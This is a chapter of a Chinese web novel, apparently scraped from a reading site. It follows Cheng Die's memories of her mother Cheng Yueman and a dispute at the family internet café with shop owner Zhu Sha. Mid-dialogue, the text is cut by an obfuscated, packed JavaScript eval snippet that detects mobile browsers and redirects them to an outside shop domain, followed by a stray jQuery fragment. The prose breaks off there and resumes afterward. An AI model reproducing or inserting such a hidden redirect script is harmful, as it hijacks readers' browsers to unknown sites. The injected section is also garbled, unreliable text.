后来当然是被程月蛮发现了。
那个女人发了好大的脾气,后面又得知她被骗钱后,更生气了,带着她去找朱砂算账。
当时两元商场的顾客有很多,程月蛮声音很大,怒气冲冲地质问怎么可以骗小孩。
那女人也不是个软柿子,指着门口的牌子,说“没看见吗,这是两元起。”
那小小的一个字,就差用放大镜去看了。
程月蛮哪能受得了那个委屈,叉着腰开始和人理论,最后又是闹到了市场监管局,又是打了报警电话,还真把人给吓住了。
朱砂赔了三块钱,赌气一样地往她身上丢,她正想弯腰去捡,却被程月蛮捞起来,“我们不要了,这事没完。”
钱是小事,但维权的程序繁琐。
后来程蝶都忘了这件事,一直到小学快毕业,程月蛮突然给了她五百。
“拿去,赔偿款。”
那时候她觉得程月蛮好厉害啊!浑身都发着光。
可是很久很久以后,大学毕业的程蝶因为外卖小哥超时太久,而被迫饿了一下午后,毅然选择了维护自己的权益,向平台投诉。
那时的程月蛮则劝她,“算了吧,得饶人处且饶人,大家都不容易。”
她气结,不服输地提到了当年。
那时候的程月蛮在她眼里简直是英雄。
程月蛮愣了一下,差点笑出眼泪,“乖乖,你真单纯,那会当然是骗你的啊。才三块钱,怎么可能要回来。”
“那赔偿款呢?”
“害,那就是你的压岁钱,我抽了几张出来。就是为了安慰你。”
她的心酸酸的,有什么东西轰然倒塌,缓了好半天,都说不出话来。
程月蛮却凑近看她,“等等,你不会当真了吧?”
她更难过了,不咸不淡地嗯了声。
程月蛮的嘴里发出忍笑的嗤嗤声,但最后还是没忍住。
“乖乖,你也不想想才三块钱,要走很多程序呢,都没人搭理我们,那个朱老板,娘家好像在局里有人,我和他们吵了几天,都把人吵烦了,后面去了都没人理我。”
“害,我那不是为了你小孩子的天真,不过你都多大了,怎么还这么天真。那上面不是写了嘛,两元起……”
童年崩塌,只需要一瞬间。
可现在,似乎又回到了那些年。
碎料小佛像乐呵呵地眯着眼。
是假的也没关系,程月蛮用行动证明了自己。
可是啊,程蝶苦恼地看了眼网吧的等候区。
有了过去的经验,这事保准闹起来没完。
程月蛮早就忘了还有两元商场这回事。朱老板是打定主意要让她大出血,小城里的报复,就是可以这样随便。
麻烦了。
朱砂像是有备而来,正大大咧咧地坐在沙发上,颐指气使地指挥赵梦妮端茶送水。
赵梦妮惦记着程月蛮在电话里交待的话,眼观鼻鼻观心,佯装自己没听见。
可她是个老实人,这假装做得漏洞百。
程蝶担忧地看着她,生怕她会被刁难。
虽然在十八年后的世界里,她曾多次因为赵梦妮介绍相亲而成闷气,但本质里还是和她关系亲密,
赵梦妮大她将近七岁,像姐姐。
大概是因为想要报答程月蛮的关系,在外地那几年,赵梦妮经常会打电话问候,还时不时给她寄东西,比程月蛮还要关心。
有时候有心事,她会选择问赵梦妮而不是程月蛮,就连感情问题也会咨询。
当然,后来得知赵梦妮会转告给程月蛮后,那坚固的友谊也开始瓦解。
她很想提醒一下程月蛮。
然而程月蛮这人从来不走寻常路,分明在进门的一瞬间就看到了朱砂坐在那里,但还是像没事人一样,晃晃悠悠地越过了等候区,直奔前台。
一大早被恶女人折磨,赵梦妮快委屈坏了,挽着程月蛮地胳膊,语速飞快地先讲完事情经过,然后才倒苦水。
“程姐,我找了赵医生,人赵医生答应了要帮忙,我当时还跟去看了,也觉得那孩子没问题,可最后报告还是说他的眼睛有问题,手臂也骨折了……”
赵梦妮胆小,说到最后眼泪都快掉下来了,“这不是讹人嘛,打他的又不是我们的人,我们就提供个场地,这也太冤了。”
朱砂看起来不在乎,但一直都支着耳朵听着这边的动静,赵梦妮话音刚落,那女人就从沙发上弹了起来,嗓门大得出奇。
“呦呵,真黑,验伤报告都出来了,就是不承认,监控可都调出来了,在你们这儿打了人,你们也有责任。”
程月蛮就当没听见,按住赵梦妮的肩,细声叮嘱着,程蝶站得不远不近,却连半点都没能听见。
见程月蛮装傻,朱砂哭喊的更大声了,势必要所有人都听见,
好在一大早,网吧并没有什么人,包夜的几个小青年抽着烟,摇摇晃晃地从她身边出去,没素质的那几个还要白她一眼,“阿姨,你很吵诶!”
有昨天目睹斗殴的老顾客,抖着烟灰嘲讽,“管管你家小孩,偷大人身份证来上网,人菜瘾大话还多,就是欠。”
朱砂气得嘴唇都在颤抖着。
程蝶皱着眉,听得很不适。
她当然是站在月满,站在程月蛮这边,可诡异的嘲讽,却让她有种说不出来的怪异感。
十几年后,她被迫选择了非大学专业的职业,从头开始,一步步来。
时代在变化,当年被诟病的网络游戏,也成了热门,提供了不少就业岗位。
拉锯战就是在那时开始的,家长们想方设法的让孩子们断掉网络,游戏公司又在绞尽脑汁的想着如何诱人上瘾。
因为程月蛮的关系,她和游戏玩家接触的多,倒也提供了不少便利。
但于心底,依旧会讨厌一些极端。
就像现在。
尽管很生气,尽管觉得被打的孩子很活该,但在看到朱砂成了一群青年的攻击对象,又会觉得不舒服。
——大概,这又会是程月蛮警告的“爱表现”“别人的事和你无关。”
这一刻,又是在朱砂的身上看到了谁?
她偏过头,想要忽略。
“砰——”
重物拍打在桌面上的声音,压过了几个小青年的调侃,所有人的注意力都被拉了过来。
“干嘛呢干嘛呢?”程月蛮活动了活动手腕,“堵门口干嘛呢?还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214206|151156||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没上够啊?要不要我再请你们一小时?”
几个青年对视一眼,笑嘻嘻地搓手,“多谢程姐。”
“滚。”程月蛮高贵冷艳地翻了个白眼,“给你根棍子你还真往上爬了,赶快出去吃饭,别死在我这了,传出去晦气。”
程月蛮嘴上说得难听,手却从抽屉里摸了几张代金券,是附近美食城的,拿去就能直接用。
“多谢程姐,给我们留位置啊,吃了饭就来。”
几人分了代金券,你推我挤的,移动到了对面。
朱砂的脸色也才缓了过来,“没素质,老板不行,顾客也不行。”
程月蛮被气笑了,“朱老板谨言慎行啊,我帮你打一次圆场,可帮不了你第二次。我这嘛。你都说了,不是什么好地方,真要出点事,我可负不了责任。”
“你威胁我!”朱砂的眼瞬间红了。
而程蝶则把注意力放在了上一句。
朱老板。
所以,程月蛮也记得这女人。
她下意识看向程月蛮,那女人依旧气定神闲,脸上标志性的笑在这一刻看起来极其讨厌。
赵梦妮有了人撑腰,是一点也不怕了,叉着腰和人对峙。
“我可是打电话问了,打人那个可是都赔钱了,这会还在公安局拘留着呢,你要不满意,我们到那说去。”
“人家都认了,就你们还不认!”朱砂一副可被我抓到了的表情。
“认什么?”赵梦妮瞪着眼。
“你敢说不是在你们店里。”
小学生一样的吵架,程蝶听得直皱眉。
这就是程月蛮教出来的?
赵梦妮不自信地瞥了眼程月蛮。
程月蛮满不在乎地接下去,“是在我们这。”
朱砂等的就是这句话,“在你们这,就也得负责任!”
“程姐……”赵梦妮瞬间急了,“万一让我们停业可怎么办?上次他们故意在我们这吸烟,还烧坏了东西,就罚了一笔钱,停了半个月,要是这次……”
“停!”程月蛮出声打断。
赵梦妮哽咽着打了个嗝,倒是真的乖乖闭嘴了。
程月蛮转身看向程蝶,虽然她什么话都没说,但眼神里却带着询问。
“那孩子只是受了轻伤,我亲眼看见了。”似乎怕她不信,程蝶也学着刚才赵梦妮,详细的把病房里一家三口如何胡闹,还要出去买炸鸡等等声情并茂地讲了一遍。
她才刚说完,就看到程月蛮肩膀颤抖着,艰难地捂住了脸。
“程姐,你怎么了?”赵梦妮忍不住开口。
程月蛮摆摆手,“没事,我,我胃疼。”
于是身边的一人一意识体立刻就担忧了起来。
程蝶还没来得及触碰,赵梦妮已经行动了起来,快速地从桌子里翻出几块饼干,又火急火燎的去倒热水。
“程姐是不又没吃早餐啊,总这样可不行,我出去买点吧,凡哥他们也没吃呢……”她说着,也不管那个坐在休息区的女人已经气冲冲地喊了她的名字,连程月蛮的拒绝都忽略了,一溜烟就跑了出去。
而程蝶看着她的背影,突然明白了一件事。
——怪不得程月蛮要更喜欢赵梦妮。